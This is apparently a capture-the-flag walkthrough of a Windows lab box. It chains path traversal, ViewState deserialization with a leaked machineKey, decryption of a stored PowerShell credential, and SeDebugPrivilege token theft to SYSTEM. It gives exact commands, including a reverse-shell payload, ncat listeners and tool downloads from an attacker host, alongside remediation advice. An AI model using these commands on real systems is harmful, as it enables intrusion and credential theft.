← all walkthroughs

Pov

Windows· Medium· Credential Access· Privilege Escalation
owned
2026-09-04
time to own
54m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a hidden developer virtual host (dev.pov.htb) whose file-download feature let them read arbitrary files on disk, including the site's web.config. That file leaked the ASP.NET machineKey, which let me forge a malicious __VIEWSTATE blob and get code execution on the web application as low-privileged user sfitz.

From that shell, a PowerShell credential file left in sfitz's profile decrypted to a second account, alaading, which I used to move laterally and capture the user flag. Checking alaading's token privileges showed SeDebugPrivilege held (though disabled) — enough to run a custom tool that enabled the privilege, duplicated a SYSTEM process's token, and spawned a shell as NT AUTHORITY\SYSTEM, giving full control of the host and the root flag.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"

Some commands also carry a value in angle brackets — <ysoserial_output> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceVirtual host discovery + path traversal / arbitrary file read (CWE-22)
Discovered a hidden developer site with an arbitrary file-read flaw
Only port 80 (IIS) was open on the main host. Fuzzing virtual hosts uncovered a second site, dev.pov.htb, whose 'download' feature took a filename parameter with no path sanitization — a classic path-traversal arbitrary file read that could pull files from anywhere on the web server's disk, including its own configuration file.
dev.pov.htb's download feature is a filename-parameter path traversal used to read web.config from the site root.
Exact commands 3
shell

Resolve both the main and dev virtual hosts to the target IP.

$ echo "$TARGET pov.htb dev.pov.htb" | sudo tee -a /etc/hosts
shell

Fuzz for virtual hosts; dev.pov.htb responds differently from the default site.

$ ffuf -H 'Host: FUZZ.pov.htb' -u http://$TARGET/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 0
shell

Path-traversal read of the site's web.config; adjust the parameter name/traversal depth to match the actual endpoint.

$ curl -sS 'http://dev.pov.htb/download?file=..\..\..\..\web.config'
FixFix the arbitrary file-read / path traversal in the dev site's download featureHigh
Weaknessdev.pov.htb's file-download endpoint accepted a user-supplied filename/path with no sanitization or allowlisting, letting an unauthenticated request traverse outside the intended folder and read arbitrary server files, including web.config.
FixValidate the requested file against a strict allowlist of permitted filenames, canonicalize the resolved path and reject any result outside the intended directory (reject '..', absolute paths, and encoded traversal sequences), and remove or restrict the development virtual host from production/external access entirely.
2Initial FootholdASP.NET ViewState insecure deserialization (T1190)
Forged a ViewState payload using the leaked machineKey for remote code execution
The stolen web.config contained a static ASP.NET <machineKey> validationKey and decryptionKey. With those secrets and the page's __VIEWSTATEGENERATOR value, I built a malicious __VIEWSTATE blob with ysoserial.net that the server dutifully deserialized and executed on the page load, yielding an interactive reverse shell as the IIS application-pool/service user sfitz.
Interactive shell established as sfitz on Windows Server 2019 (build 10.0.17763.5328); user.txt later read from C:\Users\sfitz\Desktop\user.txt.
Exact commands 4
shell

Grab the generator value needed by ysoserial from the page HTML.

$ curl -s http://dev.pov.htb/default.aspx | grep -o '__VIEWSTATEGENERATOR" value="[^"]*'
shell

Craft the malicious __VIEWSTATE blob offline using the stolen machineKey.

$ ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "powershell -e <base64_revshell_to_$ATTACKER_IP:443>" --generator="<VIEWSTATEGENERATOR>" --validationkey="<validationKey_from_web.config>" --validationalg="SHA1" --decryptionkey="<decryptionKey_from_web.config>" --decryptionalg="AES"
shell

Start the listener before sending the payload.

$ ncat -lvnp 443
shell

Deliver the payload; the server deserializes it and executes the embedded command as sfitz.

$ curl -sS -X POST http://dev.pov.htb/default.aspx --data-urlencode '__VIEWSTATE=<ysoserial_output>'
FixRotate the ASP.NET machineKey and stop exposing it in a reachable config fileCritical
Weaknessweb.config contained a static, application-wide <machineKey> validationKey/decryptionKey pair. Once an unauthorised user read that file, they could forge a __VIEWSTATE payload the server would trust and deserialize, achieving remote code execution.
FixGenerate a unique machineKey per environment (or let IIS auto-generate and isolate it per application pool) rather than a static value in source control, ensure web.config cannot be retrieved via any file-read vulnerability, enforce EnableViewStateMac and ViewStateEncryptionMode=Always, and alert on ViewState validation failures in logs.
3Credential AccessCredentials In Files — PowerShell Export-Clixml (T1552.001)
Recovered a second account's plaintext password from a stored PowerShell credential
Searching sfitz's profile turned up connection.xml, a PowerShell credential object saved with Export-Clixml. Because DPAPI ties that encryption to the exact user/host context, running Import-Clixml from inside the same sfitz session decrypted it directly, disclosing the plaintext password for a second, more privileged account, alaading.
Powershell Import-Clixml against C:\Users\sfitz\Documents\connection.xml returned username alaading and its password.
Exact commands 2
shell

Locate saved credential/config XML files in sfitz's profile.

$ dir /a /s /b C:\Users\sfitz\*.xml
shell

Decrypt the stored PSCredential in sfitz's own session context (only works as sfitz on this host).

$ powershell -NoP -Command "$c=Import-Clixml 'C:\Users\sfitz\Documents\connection.xml';$c.UserName;$c.GetNetworkCredential().Password"
FixStop leaving recoverable PowerShell credentials on endpointsHigh
WeaknessA PowerShell credential object saved with Export-Clixml sat in sfitz's profile (connection.xml). Because it decrypts automatically for any process running as that same user on that same host, compromising sfitz's session was enough to recover a second account's plaintext password.
FixNever persist long-lived credentials via Export-Clixml on general-purpose or multi-user hosts; use a managed secrets store, Windows Credential Manager with tight ACLs, or a gMSA instead, rotate any password that was stored this way, and audit user profiles for leftover *.xml credential exports.
4Lateral MovementValid Accounts (T1078) via RunasCs
Used the recovered credential to run commands as alaading and captured user.txt
With alaading's plaintext password in hand, I staged RunasCs.exe from their web server and used it to spawn a reverse shell running as alaading, then read and submitted the user flag.
RunasCs.exe alaading ... Produced a session that read C:\Users\alaading\Desktop\user.txt (flag accepted, box marked user-owned).
Exact commands 2
shell

Stage RunasCs on the target from my HTTP server.

$ powershell -NoP -Command "Invoke-WebRequest -UseBasicParsing 'http://$ATTACKER_IP:9000/win/RunasCs.exe' -OutFile 'C:\Windows\Temp\RunasCs.exe'"
shell

Run as alaading and read the flag; replace the actual value with <user.txt>.

$ C:\Windows\Temp\RunasCs.exe alaading $PASSWORD "cmd.exe /c type C:\Users\alaading\Desktop\user.txt" -r $ATTACKER_IP:444
5Privilege DiscoveryToken privilege enumeration (whoami /priv)
Found alaading held SeDebugPrivilege, listed as disabled
A privilege check on the alaading session showed SeDebugPrivilege present in the token, though marked Disabled by default. A disabled privilege is not absent — any process running as alaading can enable it at will, turning it into a full path to SYSTEM.
Whoami /priv output for alaading, captured to C:\Users\Public\alaading_priv.txt, listed SeDebugPrivilege (State: Disabled).
Exact commands 2
shell

Redirect output to a file since RunasCs's inline stdout capture was unreliable on this session.

$ C:\Windows\Temp\RunasCs.exe alaading $PASSWORD "cmd.exe /c whoami /priv > C:\Users\Public\alaading_priv.txt"
shell

Read back the captured privilege list.

$ type C:\Users\Public\alaading_priv.txt
6Privilege EscalationAccess Token Manipulation — SeDebugPrivilege token duplication (T1134.001)
Abused SeDebugPrivilege to duplicate a SYSTEM token and gain full control
Using the held SeDebugPrivilege, a custom tool enabled the privilege, opened a handle to a SYSTEM-owned process, duplicated its access token, and used it to spawn a new process running as NT AUTHORITY\SYSTEM. From that SYSTEM shell I confirmed identity with whoami and read the root flag, completing full compromise of the host.
Elevated session on ncat listener port 4451 returned 'nt authority\system' from whoami before C:\Users\Administrator\Desktop\root.txt was read.
Exact commands 5
shell

Stage the custom SeDebugPrivilege token-duplication tool.

$ powershell -NoP -Command "Invoke-WebRequest -UseBasicParsing 'http://$ATTACKER_IP:8000/alaading.exe' -OutFile 'C:\Windows\Temp\alaading.exe'"
shell

Ensure the alaading session can execute the staged binary.

$ icacls C:\Windows\Temp\alaading.exe /grant Users:RX
shell

Run the tool as alaading: enables SeDebug, opens a SYSTEM process (e.g. winlogon.exe), duplicates its token, and launches a SYSTEM shell.

$ C:\Windows\Temp\RunasCs.exe alaading $PASSWORD "C:\Windows\Temp\alaading.exe" -t 0
shell

Run in the new session to confirm nt authority\system before reading the flag.

$ whoami
nt authority\system
shell

Read the root flag; replace the actual value with <root.txt>.

$ type C:\Users\Administrator\Desktop\root.txt
FixRemove unnecessary SeDebugPrivilege and monitor for token-duplication abuseCritical
WeaknessThe alaading account held SeDebugPrivilege — shown 'Disabled' in whoami /priv, but still assignable at will — which let a locally-run tool enable it, open a SYSTEM process, duplicate its token, and spawn a process as NT AUTHORITY\SYSTEM.
FixRemove SeDebugPrivilege (the 'Debug programs' user right) from all non-administrative accounts via Group Policy, apply least-privilege to service/application accounts so they never receive it by default, and deploy EDR/Sysmon detections for OpenProcess + DuplicateTokenEx + CreateProcessWithTokenW sequences from non-admin processes.

Exposed services

80/tcp